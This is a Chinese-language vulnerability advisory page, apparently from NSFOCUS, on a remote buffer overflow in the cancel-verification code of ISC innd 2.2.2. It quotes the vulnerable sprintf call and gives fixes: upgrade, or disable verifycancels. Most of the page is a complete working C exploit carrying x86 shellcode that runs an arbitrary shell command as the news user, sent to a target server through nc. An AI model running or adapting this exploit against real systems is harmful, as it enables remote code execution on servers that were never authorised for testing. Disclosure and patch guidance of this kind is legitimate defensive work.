首页 -> 安全研究

安全研究

安全漏洞
Linux innd 2.2.2 远程缓冲区溢出

发布日期:2000-06-08
更新日期:2000-06-15

受影响系统:

ISC innd 2.2.2
不受影响系统:

描述:

innd 2.2.2 包含一个远程溢出漏洞。有问题的代码在innd/art.c中的ARTcancelverify函数中:

    if (!EQ(local, p)) {
        files = NULL;
        (void)sprintf(buff, "\"%.50s\" wants to cancel %s by \"%.50s\"",
                      p, MessageID, local);
        ARTlog(Data, ART_REJECT, buff);
    }

这里buff的大小是SMBUF字节(256字节),当用户发一条取消某篇文章的邮件到一个"control"新闻
组时,如果这个取消请求包含一个有效的Message-ID,但是这个取消请求与要被取消的文章中的
From/Sender域不一致,就会触发这段代码,导致发生缓冲区溢出。

<* 来源:Michal Zalewski <lcamtuf@tpi.pl>
         Wojciech Purczynski <wp@elzabsoft.pl>   
*>






测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


由于innd会严格的检查Message-ID中是否包含不可打印字符,因此可以利用它来填充缓冲区,
而用From/Sender的地址来覆盖返回地址,shellcode可以放在取消邮件中的很多地方,当溢
出发生时都会在可以访问的内存中。


--- exploit ---
/*
* inndx: innd remote 'news' user/group exploit
*
* Written on 12th June 2000 by Wojciech Purczynski
* <wp@elzabsoft.pl> cliph/ircnet
*
* Bug found by Michal Zalewski.
*
* Tested on innd-2.2.2-3 default installation on RedHat 6.2.
*
* Usage:
* ./inndx [command [offset]]|nc -i 1 target.host 119
*/

#include <stdio.h>
#include <unistd.h>

#define RETADDR 0x8138004 /* we're jumping into the body of cancel msg */
#define BUFSIZE (256+2*4+4) /* buff + EBP + EIP + Data */
#define JUNKSIZE strlen("\"\" wants to cancel <> by \"")
#define NOP 0x90
#define FAKEPTR 0xbffff1c0
#define COMMAND "echo U have b33n h@x0r3d hahahah|mail root"
#define BODYSIZE 999

/* Code written by me */
char * run_command=
    "\xeb\x3d\x5e\x89\xf7\x31\xc0\x47"
    "\x80\x3f\xff\x75\xfa\x88\x07\x47"
    "\x89\x37\x89\xf3\x46\x80\x3e\x2e"
    "\x75\xfa\x88\x06\x46\x89\x77\x04"
    "\x46\x80\x3e\x2e\x75\xfa\x88\x06"
    "\x46\x89\x77\x08\x89\x47\x0c\x89"
    "\xf9\x8d\x57\x0c\xb0\x0b\xcd\x80"
    "\x89\xc3\x31\xc0\x40\xcd\x80\xe8"
    "\xbe\xff\xff\xff/bin/sh.-c.";

int main(int argc, char *argv[])
{
    int retaddr=RETADDR;
    char messageid[256];
    char sender[16];
    char body[BODYSIZE];
    char * command=COMMAND;
    int midsize;
    int i;

    if (argc>1) command=argv[1];
    if (argc>2) retaddr+=atoi(argv[2]);

    memset(sender, 0, sizeof(sender));
    strcpy(sender+0, "a@a.");        /* EBP */
    *(long*)(sender+4)=(long)retaddr;    /* EIP */
    *(long*)(sender+8)=(long)RETADDR+1000;    /* Data */
    
    memset(messageid, 'a', sizeof(messageid));
    sprintf(messageid, "%s@a", tmpnam(NULL)+9);
    messageid[strlen(messageid)]='a';
    messageid[BUFSIZE-JUNKSIZE-5-strlen(sender)]=0;

    memset(body, NOP, sizeof(body));
    strcpy(body+sizeof(body)-strlen(run_command)-strlen(command)-2, run_command);
    strcat(body, command);
    strcat(body, "\xff");
    
    fprintf(stderr, "RETADDR=%p\n", retaddr);
    fprintf(stderr, "COMMAND=%s\n", command);
    
    printf("mode reader\r\ngroup test\r\npost\r\n");
    printf("Message-ID: <%s>\r\n", messageid);
    printf("From: %s\r\nSender: %s\r\n", sender, sender);
    printf("Newsgroups: test\r\n");
    printf("Subject: blah\r\n");
    printf("\r\nblah\r\n.\r\n");
    
    printf("group control\r\npost\r\n");
    printf("Message-ID: <%s@test>\r\n", tmpnam(NULL)+9);
    printf("From: a@b.c\r\nSender: a@b.c\r\n");
    printf("Control: cancel <%s>\r\n", messageid);
    printf("Subject: cmsg cancel <%s>\r\n", messageid);
    printf("Newsgroups: control\r\n\r\n%s\r\n.\r\nquit\r\n", body);
}
--- eof ---


建议:

更新到 inn-2.3.3

临时解决方法:

1. 如果不需要inn,只要卸载/删除这个程序即可
       

2. 将 /etc/news/inn.conf 中的这一行

        verifycancels:          true

      用下面的这行代替

        verifycancels:          false
   并重新装入INN配置文件:
      

        /usr/libexec/inn/bin/ctlinnd reload all 'security fix'



浏览次数:6210
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障